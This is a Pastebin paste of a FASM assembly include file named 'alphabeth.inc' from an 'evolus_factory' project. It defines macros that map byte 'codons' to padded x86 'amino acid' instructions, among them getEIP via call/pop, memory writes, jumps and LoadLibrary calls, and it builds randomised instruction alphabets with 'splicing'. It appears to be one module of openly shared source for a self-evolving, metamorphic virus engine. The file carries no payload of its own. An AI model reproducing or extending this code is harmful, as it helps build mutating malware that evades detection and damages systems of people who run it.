Advertisement
FlyFar

evolus_factory/alphabeth.inc

Jul 27th, 2023
1,354
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 25.21 KB | Cybersecurity | 0 0
  1. InstructionSetSize=37 ; It is 32, but 32=2^N, thus very bad for LCG
  2.               ; 37 is the enxt bigger prime, thus=good ;)
  3. AminoAcidList FIX @nopREAL,@nopsA,@nopsB,@nopsD,@nopdA,@nopdB,@nopdD,@save,@addsaved,@saveWrtOff,@saveJmpOff,@writeByte,@writeDWord,@getDO,@getdata,@getEIP,@push,@pop,@pushall,@popall,@add0001,@sub0001,@shl,@shr,@xor,@and,@mul,@div,@JnzUp,@JnzDown,@call,@CallAPILoadLibrary
  4.  
  5. _START EQU StartCodon
  6. _STOP EQU StopCodon
  7.  
  8. MAX_NUMBER = 999'999'999'999'999'999
  9.  
  10.  
  11.  
  12. macro displayDecNum num* ; useful for debugging
  13. {
  14.    dN1=  num MOD 10
  15.    dN2= ((num-dN1)/10) MOD 10
  16.    dN3= ((num-dN1-dN2)/100) MOD 10
  17.    dN4= ((num-dN1-dN2-dN3)/1'000) MOD 10
  18.     dN5= ((num-dN1-dN2-dN3-dN4)/10'000) MOD 10
  19.    dN6= ((num-dN1-dN2-dN3-dN4-dN5)/100'000) MOD 10
  20.     dN7= ((num-dN1-dN2-dN3-dN4-dN5-dN6)/1'000'000) MOD 10
  21.     dN8= ((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7)/10'000'000) MOD 10
  22.     dN9= ((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8)/100'000'000) MOD 10
  23.     dN10=((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8-dN9)/1'000'000'000) MOD 10
  24.    dN11=((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8-dN9-dN10)/10'000'000'000) MOD 10
  25.     dN12=((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8-dN9-dN10-dN11)/100'000'000'000) MOD 10
  26.    dN13=((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8-dN9-dN10-dN11-dN12)/1'000'000'000'000) MOD 10
  27.    dN14=((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8-dN9-dN10-dN11-dN12-dN13)/10'000'000'000'000) MOD 10
  28.    dN15=((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8-dN9-dN10-dN11-dN12-dN13-dN14)/100'000'000'000'000) MOD 10
  29.    dN16=((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8-dN9-dN10-dN11-dN12-dN13-dN14-dN15)/1'000'000'000'000'000) MOD 10
  30.     dN17=((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8-dN9-dN10-dN11-dN12-dN13-dN14-dN15-dN16)/10'000'000'000'000'000) MOD 10
  31.    dN18=((num-dN1-dN2-dN3-dN4-dN5-dN6-dN7-dN8-dN9-dN10-dN11-dN12-dN13-dN14-dN15-dN16-dN17)/100'000'000'000'000'000) MOD 10
  32.     display dN18+'0',dN17+'0',dN16+'0',dN15+'0',dN14+'0',dN13+'0',dN12+'0',dN11+'0',dN10+'0',dN9+'0',dN8+'0',dN7+'0',dN6+'0',dN5+'0',dN4+'0',dN3+'0',dN2+'0',dN1+'0',13,10
  33. }
  34.  
  35. macro displayList list*
  36. {
  37.     display '0: '
  38.     displayDecNum list#0
  39.     display '1: '
  40.     displayDecNum list#1
  41.     display '2: '
  42.     displayDecNum list#2
  43.     display '3: '
  44.     displayDecNum list#3
  45.     display '4: '
  46.     displayDecNum list#4
  47.     display '5: '
  48.     displayDecNum list#5
  49.     display '6: '
  50.     displayDecNum list#6
  51.     display '7: '
  52.     displayDecNum list#7
  53.     display '8: '
  54.     displayDecNum list#8
  55.     display '9: '
  56.     displayDecNum list#9
  57.  
  58. }
  59.  
  60.  
  61. macro appendToList list*, codon*
  62. {
  63.     if list#0<(MAX_NUMBER/1'000)
  64.     list#0=(list#0*1'000)+codon
  65.     else if list#1<(MAX_NUMBER/1'000)
  66.     list#1=(list#1*1'000)+codon
  67.     else if list#2<(MAX_NUMBER/1'000)
  68.     list#2=(list#2*1'000)+codon
  69.     else if list#3<(MAX_NUMBER/1'000)
  70.     list#3=(list#3*1'000)+codon
  71.     else if list#4<(MAX_NUMBER/1'000)
  72.     list#4=(list#4*1'000)+codon
  73.     else if list#5<(MAX_NUMBER/1'000)
  74.     list#5=(list#5*1'000)+codon
  75.     else if list#6<(MAX_NUMBER/1'000)
  76.     list#6=(list#6*1'000)+codon
  77.     else if list#7<(MAX_NUMBER/1'000)
  78.     list#7=(list#7*1'000)+codon
  79.     else if list#8<(MAX_NUMBER/1'000)
  80.     list#8=(list#8*1'000)+codon
  81.     else if list#9<(MAX_NUMBER/1'000)
  82.     list#9=(list#9*1'000)+codon
  83.     else
  84.     display "Too much codons added",13,10," for one amino acid"
  85.     err
  86.     ; 10*6+1=61 codons map to one amino acid...
  87.     end if
  88. }
  89.  
  90.  
  91. getListSizeRV = 0
  92. macro getListSize list*
  93. {
  94.     multiplicator=0
  95.     number=list#0
  96.     if list#9>0
  97.     multiplicator=9
  98.     number=list#9
  99.     else if list#8>0
  100.     multiplicator=8
  101.     number=list#8
  102.     else if list#7>0
  103.     multiplicator=7
  104.     number=list#7
  105.     else if list#6>0
  106.     multiplicator=6
  107.     number=list#6
  108.     else if list#5>0
  109.     multiplicator=5
  110.     number=list#5
  111.     else if list#4>0
  112.     multiplicator=4
  113.     number=list#4
  114.     else if list#3>0
  115.     multiplicator=3
  116.     number=list#3
  117.     else if list#2>0
  118.     multiplicator=2
  119.     number=list#2
  120.     else if list#1>0
  121.     multiplicator=1
  122.     number=list#1
  123.     end if
  124.  
  125.     addend = 0
  126.     while number>0
  127.     addend=addend+1
  128.     number=number/1000
  129.     end while
  130.  
  131.     getListSizeRV=(multiplicator*6+addend)
  132. }
  133.  
  134.  
  135. getItemRV=0
  136. IsJnzDown=0
  137. macro getItem list*, index*
  138. {
  139. ; gives elements in a special order: starting from list#0[5]...list#0[0] -> list#1[5]...list#2[0]
  140. ; could be changed, but no need for that as it will be only called by getRandomItem.
  141.  
  142.     getListSize list
  143.  
  144.     number=0
  145.     if index<getListSizeRV
  146.     if (index/(9*6))>0
  147.         number=list#9
  148.     else if (index/(8*6))>0
  149.         number=list#8
  150.     else if (index/(7*6))>0
  151.         number=list#7
  152.     else if (index/(6*6))>0
  153.         number=list#6
  154.     else if (index/(5*6))>0
  155.         number=list#5
  156.     else if (index/(4*6))>0
  157.         number=list#4
  158.     else if (index/(3*6))>0
  159.         number=list#3
  160.     else if (index/(2*6))>0
  161.         number=list#2
  162.     else if (index/(1*6))>0
  163.         number=list#1
  164.     else
  165.         number=list#0
  166.     end if
  167.  
  168.     newindex=index MOD 6
  169.  
  170.     while newindex>0
  171.         number=number/1000
  172.         newindex=newindex-1
  173.     end while
  174.  
  175.     getItemRV=number MOD 1000
  176.  
  177.     else
  178.     display 'Tried to access an element',13,10,'that doesnt exist'
  179.     err
  180.     end if
  181.  
  182.     list#42=list#42+1
  183. }
  184.  
  185.  
  186. macro getRandomItem list*
  187. {
  188.     getListSize list
  189.     GetNewRandomNumber
  190.     RndElement = (RndNum SHR 16) MOD getListSizeRV
  191.  
  192.     getItem list, RndElement
  193.  
  194.     db getItemRV
  195.  
  196. ;    displayDecNum getItemRV
  197.  
  198. }
  199.  
  200.  
  201. macro CreateEmptyList list*
  202. {
  203.     list#0 = 0
  204.     list#1 = 0
  205.     list#2 = 0
  206.     list#3 = 0
  207.     list#4 = 0
  208.     list#5 = 0
  209.     list#6 = 0
  210.     list#7 = 0
  211.     list#8 = 0
  212.     list#9 = 0
  213.  
  214.     list#42 = 0     ; How often a codon called an amino acid
  215.  
  216.     list#666 = 0    ; How much different codons map one amino acid
  217. }
  218.  
  219. macro CalculateListSizeOfAminoAcids [AminoAcid]
  220. {
  221.     getListSize AminoAcid#.list
  222.     AminoAcid#.list666=getListSizeRV
  223.     display `AminoAcid,': '
  224.     displayDecNum AminoAcid#.list666
  225. }
  226.  
  227.  
  228. macro displayAminoAcidDistribution [AminoAcid]
  229. {
  230.     display `AminoAcid,': '
  231.     displayDecNum AminoAcid#.list42
  232. }
  233.  
  234.  
  235. ;macro CreateAnIntron
  236. ;{
  237. ;    GetNewRandomNumber
  238. ;    if ((RndNum SHR 16) MOD IntronInsertThreshold)=0
  239.  
  240. ;        WhichIntron=((RndNum SHR 16) MOD 3)
  241. ;        if WhichIntron=0
  242. ;            db StopCodon
  243. ;        end if
  244.  
  245. ;        GetNewRandomNumber
  246.  
  247. ;        while ((RndNum SHR 16) MOD 37)<>0
  248. ;            GetNewRandomNumber
  249. ;            RRR=((RndNum SHR 16) MOD 255)
  250. ;            if WhichIntron=0
  251. ;                db (RRR XOR 0x67)
  252. ;            else
  253. ;                db (RRR OR 0x91)
  254. ;            end if
  255. ;        end while
  256.  
  257. ;        if WhichIntron=0
  258. ;            db StartCodon
  259. ;        end if
  260. ;    end if
  261. ;}
  262.  
  263.  
  264. macro CreatePaddedInstruction instr*, op1, op2
  265. {
  266.     virtual at 0
  267.     if op2 eq
  268.         if op1 eq
  269.         instr
  270.         else
  271.         instr op1
  272.         end if
  273.     else
  274.         instr op1,op2
  275.     end if
  276.     InstrSize = $
  277.     end virtual
  278.  
  279.     GetNewRandomNumber
  280.     NOPsBefore=(RndNum MOD (8-InstrSize+1))
  281.  
  282.  
  283.     times NOPsBefore: nop
  284.  
  285.     if op2 eq
  286.     if op1 eq
  287.         instr
  288.     else
  289.         instr op1
  290.     end if
  291.     else
  292.     instr op1,op2
  293.     end if
  294.  
  295.     times (8-InstrSize-NOPsBefore): nop
  296. }
  297.  
  298.  
  299. ; @command.list ... list that contains all codons that point to the amino acid
  300. ; @command ... macro that returns the amino acid and creates the @command.list
  301. ; _command ... how one actually calls the command (will return a random codon from @command)
  302.  
  303. CreateEmptyList @nopREAL.list
  304. macro @nopREAL codon*
  305. {
  306.     CreatePaddedInstruction nop
  307.     appendToList @nopREAL.list, codon
  308. }
  309. macro _nopREAL { getRandomItem @nopREAL.list }
  310.  
  311. ; - - -
  312.  
  313.  
  314. CreateEmptyList  @nopsA.list
  315. macro @nopsA codon*
  316. {
  317.     CreatePaddedInstruction mov, ebx, eax
  318.     appendToList @nopsA.list, codon
  319. }
  320. macro _nopsA { getRandomItem @nopsA.list }
  321.  
  322. ; - - -
  323.  
  324. CreateEmptyList @nopsB.list
  325. macro @nopsB codon*
  326. {
  327.     CreatePaddedInstruction mov, ebx, ebp
  328.     appendToList @nopsB.list, codon
  329. }
  330. macro _nopsB { getRandomItem @nopsB.list }
  331.  
  332. ; - - -
  333.  
  334. CreateEmptyList @nopsD.list
  335. macro @nopsD codon*
  336. {
  337.     CreatePaddedInstruction mov, ebx, edx
  338.     appendToList @nopsD.list, codon
  339. }
  340. macro _nopsD { getRandomItem @nopsD.list }
  341.  
  342. ; - - -
  343.  
  344. CreateEmptyList @nopdA.list
  345. macro @nopdA codon*
  346. {
  347.     CreatePaddedInstruction mov, eax, ebx
  348.     appendToList @nopdA.list, codon
  349. }
  350. macro _nopdA { getRandomItem @nopdA.list }
  351.  
  352. ; - - -
  353.  
  354. CreateEmptyList @nopdB.list
  355. macro @nopdB codon*
  356. {
  357.     CreatePaddedInstruction mov, ebp, ebx
  358.     appendToList @nopdB.list, codon
  359. }
  360. macro _nopdB { getRandomItem @nopdB.list }
  361.  
  362. ; - - -
  363.  
  364. CreateEmptyList @nopdD.list
  365. macro @nopdD codon*
  366. {
  367.     CreatePaddedInstruction mov, edx, ebx
  368.     appendToList @nopdD.list, codon
  369. }
  370. macro _nopdD { getRandomItem @nopdD.list }
  371.  
  372. ; - - -
  373.  
  374. CreateEmptyList @saveWrtOff.list
  375. macro @saveWrtOff codon*
  376. {
  377.     CreatePaddedInstruction mov, edi, ebx
  378.     appendToList @saveWrtOff.list, codon
  379. }
  380. macro _saveWrtOff { getRandomItem @saveWrtOff.list }
  381.  
  382. ; - - -
  383.  
  384. CreateEmptyList @saveJmpOff.list
  385. macro @saveJmpOff codon*
  386. {
  387.     CreatePaddedInstruction mov, esi, ebx
  388.     appendToList @saveJmpOff.list, codon
  389. }
  390. macro _saveJmpOff { getRandomItem @saveJmpOff.list }
  391.  
  392. ; - - -
  393.  
  394. CreateEmptyList @writeByte.list
  395. macro @writeByte codon*
  396. {
  397.     CreatePaddedInstruction mov, byte[edi], bl
  398.     appendToList @writeByte.list, codon
  399. }
  400. macro _writeByte { getRandomItem @writeByte.list }
  401.  
  402. ; - - -
  403.  
  404. CreateEmptyList @writeDWord.list
  405. macro @writeDWord codon*
  406. {
  407.     CreatePaddedInstruction mov, dword[edi], ebx
  408.     appendToList @writeDWord.list, codon
  409. }
  410. macro _writeDWord { getRandomItem @writeDWord.list }
  411.  
  412. ; - - -
  413.  
  414. CreateEmptyList @save.list
  415. macro @save codon*
  416. {
  417.     CreatePaddedInstruction mov, ecx, ebx
  418.     appendToList @save.list, codon
  419. }
  420. macro _save { getRandomItem @save.list }
  421.  
  422. ; - - -
  423.  
  424. CreateEmptyList @addsaved.list
  425. macro @addsaved codon*
  426. {
  427.     CreatePaddedInstruction add, ebx, ecx
  428.     appendToList @addsaved.list, codon
  429. }
  430. macro _addsaved { getRandomItem @addsaved.list }
  431.  
  432. ; - - -
  433.  
  434. CreateEmptyList @getDO.list
  435. macro @getDO codon*
  436. {
  437.     CreatePaddedInstruction mov, ebx, DataOffset
  438.     appendToList @getDO.list, codon
  439. }
  440. macro _getDO { getRandomItem @getDO.list }
  441.  
  442. ; - - -
  443.  
  444. CreateEmptyList @getdata.list
  445. macro @getdata codon*
  446. {
  447.     CreatePaddedInstruction mov, ebx, dword[ebx]
  448.     appendToList @getdata.list, codon
  449. }
  450. macro _getdata { getRandomItem @getdata.list }
  451.  
  452. ; - - -
  453.  
  454. CreateEmptyList @getEIP.list
  455. macro @getEIP codon*
  456. {
  457.     InstrSize=6
  458.     db 0xE8,0x00,0x00,0x00,0x00,0x5B
  459.     times (8-InstrSize): nop          ; padding
  460.     appendToList @getEIP.list, codon
  461. }
  462. macro _getEIP { getRandomItem @getEIP.list }
  463.  
  464. ; - - -
  465.  
  466. CreateEmptyList @push.list
  467. macro @push codon*
  468. {
  469.     CreatePaddedInstruction push, ebx
  470.     appendToList @push.list, codon
  471. }
  472. macro _push { getRandomItem @push.list }
  473.  
  474. ; - - -
  475.  
  476. CreateEmptyList @pop.list
  477. macro @pop codon*
  478. {
  479.     CreatePaddedInstruction pop, ebx
  480.     appendToList @pop.list, codon
  481. }
  482. macro _pop { getRandomItem @pop.list }
  483.  
  484. ; - - -
  485.  
  486. CreateEmptyList @pushall.list
  487. macro @pushall codon*
  488. {
  489.     CreatePaddedInstruction pushad
  490.     appendToList @pushall.list, codon
  491. }
  492. macro _pushall { getRandomItem @pushall.list }
  493.  
  494. ; - - -
  495.  
  496. CreateEmptyList @popall.list
  497. macro @popall codon*
  498. {
  499.     CreatePaddedInstruction popad
  500.     appendToList @popall.list, codon
  501. }
  502. macro _popall { getRandomItem @popall.list }
  503.  
  504. ; - - -
  505.  
  506.  
  507. CreateEmptyList @mul.list
  508. macro @mul codon*
  509. {
  510.     CreatePaddedInstruction mul, ebx
  511.     appendToList @mul.list, codon
  512. }
  513. macro _mul {getRandomItem @mul.list}
  514.  
  515. ; - - -
  516.  
  517. CreateEmptyList @div.list
  518. macro @div codon*
  519. {
  520.     CreatePaddedInstruction div, ebx
  521.     appendToList @div.list, codon
  522. }
  523. macro _div { getRandomItem @div.list }
  524.  
  525. ; - - -
  526.  
  527. CreateEmptyList @shl.list
  528. macro @shl codon*
  529. {
  530.     CreatePaddedInstruction shl, ebx, cl
  531.     appendToList @shl.list, codon
  532. }
  533. macro _shl { getRandomItem @shl.list }
  534.  
  535. ; - - -
  536.  
  537. CreateEmptyList @shr.list
  538. macro @shr codon*
  539. {
  540.     CreatePaddedInstruction shr, ebx, cl
  541.     appendToList @shr.list, codon
  542. }
  543. macro _shr { getRandomItem @shr.list }
  544.  
  545. ; - - -
  546.  
  547. CreateEmptyList @and.list
  548. macro @and codon*
  549. {
  550.     CreatePaddedInstruction and, ebx, ecx
  551.     appendToList @and.list, codon
  552. }
  553. macro _and { getRandomItem @and.list }
  554.  
  555. ; - - -
  556.  
  557. CreateEmptyList @xor.list
  558. macro @xor codon*
  559. {
  560.     CreatePaddedInstruction xor, ebx, ecx
  561.     appendToList @xor.list, codon
  562. }
  563. macro _xor { getRandomItem @xor.list }
  564.  
  565. ; - - -
  566.  
  567. CreateEmptyList @add0001.list
  568. macro @add0001 codon*
  569. {
  570.     CreatePaddedInstruction add, ebx, 0x0001
  571.     appendToList @add0001.list, codon
  572. }
  573. macro _add0001 { getRandomItem @add0001.list }
  574.  
  575.  
  576. ; - - -
  577.  
  578. CreateEmptyList @sub0001.list
  579. macro @sub0001 codon*
  580. {
  581.     CreatePaddedInstruction sub, ebx, 1
  582.     appendToList @sub0001.list, codon
  583. }
  584. macro _sub0001 { getRandomItem @sub0001.list }
  585.  
  586. ; - - -
  587.  
  588. CreateEmptyList @JnzUp.list
  589. macro @JnzUp codon*
  590. {
  591.     InstrSize = 4
  592.     db 0x74,0x02,0xFF,0xE6
  593.     times (8-InstrSize): nop
  594.  
  595.     appendToList @JnzUp.list, codon
  596. }
  597. macro _JnzUp { getRandomItem @JnzUp.list }
  598.  
  599. ; - - -
  600.  
  601. CreateEmptyList @JnzDown.list
  602. macro @JnzDown codon*
  603. {
  604.     local StartCommand, EndCommand
  605.     InstrSize=2
  606.     db 0x75, 0x26
  607.     times (8-InstrSize): nop
  608.  
  609.     appendToList @JnzDown.list, codon
  610. }
  611. macro _JnzDown { getRandomItem @JnzDown.list }
  612.  
  613. ; - - -
  614.  
  615. CreateEmptyList @call.list
  616. macro @call codon*
  617. {
  618.     CreatePaddedInstruction stdcall, ebx
  619.     appendToList @call.list, codon
  620. }
  621. macro _call { getRandomItem @call.list }
  622.  
  623. ; - - -
  624.  
  625. CreateEmptyList @CallAPILoadLibrary.list
  626. macro @CallAPILoadLibrary codon*
  627. {
  628.     CreatePaddedInstruction stdcall, [LoadLibrary]
  629.     appendToList @CallAPILoadLibrary.list, codon
  630. }
  631. macro _CallAPILoadLibrary { getRandomItem @CallAPILoadLibrary.list }
  632.  
  633. ; - - -
  634.  
  635. CreateEmptyList @CallAPIMessageBox.list
  636. macro @CallAPIMessageBox codon*
  637. {
  638.     CreatePaddedInstruction stdcall, [MessageBox]
  639.     appendToList @CallAPIMessageBox.list, codon
  640. }
  641. macro _CallAPIMessageBox { getRandomItem @CallAPIMessageBox.list }
  642.  
  643. ; - - -
  644.  
  645. CreateEmptyList @CallAPIExitProcess.list
  646. macro @CallAPIExitProcess codon*
  647. {
  648.     CreatePaddedInstruction stdcall, [ExitProcess]
  649.     appendToList @CallAPIExitProcess.list, codon
  650. }
  651.  
  652. macro _CallAPIExitProcess { getRandomItem @CallAPIExitProcess.list }
  653.  
  654. ; - - -
  655.  
  656. CreateEmptyList @int3.list
  657. macro @int3 codon*
  658. {
  659.     ;CreatePaddedInstruction int3
  660.     int 3
  661.     times 6: nop
  662.     appendToList @int3.list, codon
  663. }
  664. macro _int3 { getRandomItem @int3.list }
  665.  
  666. ; - - -
  667.  
  668.  
  669. macro CountListEntries [AminoAcid]
  670. {
  671.     display `AminoAcid,': '
  672.     getListSize AminoAcid#.list
  673.     displayDecNum getListSizeRV
  674. }
  675.  
  676.  
  677. macro CheckIfAllAminoAcidsAreCreated [AminoAcid]
  678. {
  679.     getListSize AminoAcid#.list
  680.     if getListSizeRV=0
  681.     display "At least one Amino Acid",13,10,"has no codon for mapping.",13,10,"Try to compile again!"
  682.     err
  683.     end if
  684. }
  685.  
  686.  
  687.  
  688. macro CreateRandomAlphabet
  689. {
  690.     repeat 256
  691.     cc = % - 1                   ; Starts at 1, but should start at 0
  692.     if (cc AND 0x91)=0x91
  693.         @nopREAL cc   ; Splicing
  694.         display '@nopREAL: '
  695.         displayDecNum cc
  696.     else if cc=StartCodon
  697.         CreatePaddedInstruction xchg, ebx, ebx   ; some No-Operation, such that its different to nopREAL and will not be target of polymorphism
  698.         display 'StartCodon: '
  699.         displayDecNum cc
  700.     else if cc=StopCodon
  701.         CreatePaddedInstruction xchg, ecx, ecx   ; some No-Operation, such that its different to nopREAL and will not be target of polymorphism
  702.         display 'StopCodon: '
  703.         displayDecNum cc
  704.     else
  705.         GetNewRandomNumber
  706.         RR = (RndNum MOD (InstructionSetSize*2)) ; (InstructionSetSize*2) because the LCG doesnt create perfect random numbers
  707.                              ; It does not create 2^n as often as primes or (2^n +/- 1), so by taking two numbers,
  708.                              ; a 2^n will be paired with (2^n +/- 1), thus the probability that a amino acid will
  709.                              ; not be taken at all decreases alot. (=rare err-message at CheckIfAllAminoAcidsAreCreated)
  710.         if RR<2
  711.         @nopREAL cc
  712.         display '@nopREAL: '
  713.         displayDecNum cc
  714.         else if RR<4
  715.         @nopsA cc
  716.         display '@nopsA: '
  717.         displayDecNum cc
  718.         else if RR<6
  719.         @nopsB cc
  720.         display '@nopsB: '
  721.         displayDecNum cc
  722.         else if RR<8
  723.         @nopsD cc
  724.         display '@nopsD: '
  725.         displayDecNum cc
  726.         else if RR<10
  727.         @nopdA cc
  728.         display '@nopdA: '
  729.         displayDecNum cc
  730.         else if RR<12
  731.         @nopdB cc
  732.         display '@nopdB: '
  733.         displayDecNum cc
  734.         else if RR<14
  735.         @nopdD cc
  736.         display '@nopdD: '
  737.         displayDecNum cc
  738.         else if RR<16
  739.         @saveWrtOff cc
  740.         display '@saveWrtOff: '
  741.         displayDecNum cc
  742.         else if RR<18
  743.         @saveJmpOff cc
  744.         display '@saveJmpOff: '
  745.         displayDecNum cc
  746.         else if RR<20
  747.         @writeByte cc
  748.         display '@writeByte: '
  749.         displayDecNum cc
  750.         else if RR<22
  751.         @writeDWord cc
  752.         display '@writeDWord: '
  753.         displayDecNum cc
  754.         else if RR<24
  755.         @save cc
  756.         display '@save: '
  757.         displayDecNum cc
  758.         else if RR<26
  759.         @addsaved cc
  760.         display '@addsaved: '
  761.         displayDecNum cc
  762.         else if RR<28
  763.         @getDO cc
  764.         display '@getDO: '
  765.         displayDecNum cc
  766.         else if RR<30
  767.         @getdata cc
  768.         display '@getdata: '
  769.         displayDecNum cc
  770.         else if RR<32
  771.         @getEIP cc
  772.         display '@getEIP: '
  773.         displayDecNum cc
  774.         else if RR<34
  775.         @push cc
  776.         display '@push: '
  777.         displayDecNum cc
  778.         else if RR<36
  779.         @pop cc
  780.         display '@pop: '
  781.         displayDecNum cc
  782.         else if RR<38
  783.         @pushall cc
  784.         display '@pushall: '
  785.         displayDecNum cc
  786.         else if RR<40
  787.         @popall cc
  788.         display '@popall: '
  789.         displayDecNum cc
  790.         else if RR<42
  791.         @mul cc
  792.         display '@mul: '
  793.         displayDecNum cc
  794.         else if RR<44
  795.         @div cc
  796.         display '@div: '
  797.         displayDecNum cc
  798.         else if RR<46
  799.         @shl cc
  800.         display '@shl: '
  801.         displayDecNum cc
  802.         else if RR<48
  803.         @shr cc
  804.         display '@shr: '
  805.         displayDecNum cc
  806.         else if RR<50
  807.         @and cc
  808.         display '@and: '
  809.         displayDecNum cc
  810.         else if RR<52
  811.         @xor cc
  812.         display '@xor: '
  813.         displayDecNum cc
  814.         else if RR<54
  815.         @add0001 cc
  816.         display '@add0001: '
  817.         displayDecNum cc
  818.         else if RR<56
  819.         @sub0001 cc
  820.         display '@sub0001: '
  821.         displayDecNum cc
  822.         else if RR<58
  823.         @JnzUp cc
  824.         display '@JnzUp: '
  825.         displayDecNum cc
  826.         else if RR<60
  827.         @JnzDown cc
  828.         display '@JnzDown: '
  829.         displayDecNum cc
  830.         else if RR<62
  831.         @call cc
  832.         display '@call: '
  833.         displayDecNum cc
  834.         else if RR<64
  835.         @CallAPILoadLibrary cc
  836.         display '@CallAPILoadLibrary: '
  837.         displayDecNum cc
  838.         else
  839.         @int3 cc
  840.         display '@shl: '
  841.         displayDecNum cc
  842.         end if
  843.     end if
  844.     end repeat
  845.     display 13,10,'---',13,10
  846.     CountListEntries AminoAcidList
  847.     CheckIfAllAminoAcidsAreCreated AminoAcidList
  848. }
  849.  
  850.  
  851.  
  852.  
  853.  
  854. macro CreateBalancedAlphabet
  855. {
  856.          @nopdD 0
  857.  
  858.          @nopdD 1
  859.  
  860.          @nopdD 2
  861.  
  862.          @nopdD 3
  863.  
  864.          @addsaved 4
  865.  
  866.          @and 5
  867.  
  868.          @addsaved 6
  869.  
  870.          @and 7
  871.  
  872.          @popall 8
  873.  
  874.          @pushall 9
  875.  
  876.          @getdata 10
  877.  
  878.          @pushall 11
  879.  
  880.          @call 12
  881.  
  882.          @add0001 13
  883.  
  884.          @getdata 14
  885.  
  886.          @nopdA 15
  887.  
  888.          @push 16
  889.  
  890.          @writeDWord 17
  891.  
  892.          @push 18
  893.  
  894.          @writeDWord 19
  895.  
  896.          @push 20
  897.  
  898.          @and 21
  899.  
  900.          @push 22
  901.  
  902.          @and 23
  903.  
  904.          @getdata 24
  905.  
  906.          @add0001 25
  907.  
  908.          @getdata 26
  909.  
  910.          @sub0001 27
  911.  
  912.          @getdata 28
  913.  
  914.          @add0001 29
  915.  
  916.          @getdata 30
  917.  
  918.          @and 31
  919.  
  920.          @mul 32
  921.  
  922.          @nopdD 33
  923.  
  924.          @mul 34
  925.  
  926.          @nopdD 35
  927.  
  928.          @addsaved 36
  929.  
  930.          @getEIP 37
  931.  
  932.          @addsaved 38
  933.  
  934.          @getEIP 39
  935.  
  936.          @pop 40
  937.  
  938.          @nopsA 41
  939.  
  940.          @pop 42
  941.  
  942.          @nopsA 43
  943.  
  944.          @pop 44
  945.  
  946.          @add0001 45
  947.  
  948.          @JnzUp 46
  949.  
  950.          @nopdA 47
  951.  
  952.          @push 48
  953.  
  954.          @writeDWord 49
  955.  
  956.          @push 50
  957.  
  958.          @writeDWord 51
  959.  
  960.          @push 52
  961.  
  962.          @saveJmpOff 53
  963.  
  964.          @push 54
  965.  
  966.          @saveJmpOff 55
  967.  
  968.          @pop 56
  969.  
  970.          @add0001 57
  971.  
  972.          @pop 58
  973.  
  974.          @sub0001 59
  975.  
  976.          @pop 60
  977.  
  978.          @add0001 61
  979.  
  980.          @pop 62
  981.  
  982.          @nopdA 63
  983.  
  984.          @popall 64
  985.  
  986.          @writeDWord 65
  987.  
  988.          @CallAPILoadLibrary 66
  989.  
  990.          @writeDWord 67
  991.  
  992.          @popall 68
  993.  
  994.          @and 69
  995.  
  996.          @addsaved 70
  997.  
  998.          @and 71
  999.  
  1000.          @popall 72
  1001.  
  1002.          @pushall 73
  1003.  
  1004.          @getdata 74
  1005.  
  1006.          @pushall 75
  1007.  
  1008.          @popall 76
  1009.  
  1010.          @add0001 77
  1011.  
  1012.          @getdata 78
  1013.  
  1014.          @nopdA 79
  1015.  
  1016.          @popall 80
  1017.  
  1018.          @writeDWord 81
  1019.  
  1020.          @push 82
  1021.  
  1022.          @writeDWord 83
  1023.  
  1024.          @popall 84
  1025.  
  1026.          @and 85
  1027.  
  1028.          @save 86
  1029.  
  1030.          @and 87
  1031.  
  1032.          @popall 88
  1033.  
  1034.          @add0001 89
  1035.  
  1036.          @getdata 90
  1037.  
  1038.          @sub0001 91
  1039.  
  1040.          @popall 92
  1041.  
  1042.          @add0001 93
  1043.  
  1044.          @getdata 94
  1045.  
  1046.          @and 95
  1047.  
  1048.          @saveWrtOff 96
  1049.  
  1050.          @writeDWord 97
  1051.  
  1052.          @saveWrtOff 98
  1053.  
  1054.          @writeDWord 99
  1055.  
  1056.          @saveWrtOff 100
  1057.  
  1058.          @getEIP 101
  1059.  
  1060.          @saveWrtOff 102
  1061.  
  1062.          @nopdA 103
  1063.  
  1064.          @saveWrtOff 104
  1065.  
  1066.          @nopsA 105
  1067.  
  1068.          @saveWrtOff 106
  1069.  
  1070.          @nopsA 107
  1071.  
  1072.          @saveWrtOff 108
  1073.  
  1074.          @add0001 109
  1075.  
  1076.          @saveWrtOff 110
  1077.  
  1078.          @nopdA 111
  1079.  
  1080.          @saveWrtOff 112
  1081.  
  1082.          @writeDWord 113
  1083.  
  1084.          @push 114
  1085.  
  1086.          @writeDWord 115
  1087.  
  1088.          @saveWrtOff 116
  1089.  
  1090.          @saveJmpOff 117
  1091.  
  1092.          @writeByte 118
  1093.  
  1094.          @nopdA 119
  1095.  
  1096.          @saveWrtOff 120
  1097.  
  1098.          @add0001 121
  1099.  
  1100.          @JnzDown 122
  1101.  
  1102.          @sub0001 123
  1103.  
  1104.          @saveWrtOff 124
  1105.  
  1106.          @add0001 125
  1107.  
  1108.          @writeByte 126
  1109.  
  1110.          @nopdA 127
  1111.  
  1112.          @getDO 128
  1113.  
  1114.          @getDO 129
  1115.  
  1116.          @getDO 130
  1117.  
  1118.          @getDO 131
  1119.  
  1120.          @addsaved 132
  1121.  
  1122.          @shl 133
  1123.  
  1124.          @addsaved 134
  1125.  
  1126.          @shl 135
  1127.  
  1128.          @shr 136
  1129.  
  1130.          @nopREAL 137
  1131.  
  1132.          @nopsB 138
  1133.  
  1134.          @nopsA 139
  1135.  
  1136.          @shr 140
  1137.  
  1138.          @add0001 141
  1139.  
  1140.          @nopdB 142
  1141.  
  1142.          @nopdB 143
  1143.  
  1144.          ; 144 = 0x90 = real NOP! :)
  1145.          @nopREAL 144
  1146.  
  1147.          ; SPLICING! must be NOP!!!
  1148.          @nopREAL 145
  1149.  
  1150.          @nopsB 146
  1151.  
  1152.          ; SPLICING! must be NOP!!!
  1153.          @nopREAL 147
  1154.  
  1155.          @save 148
  1156.  
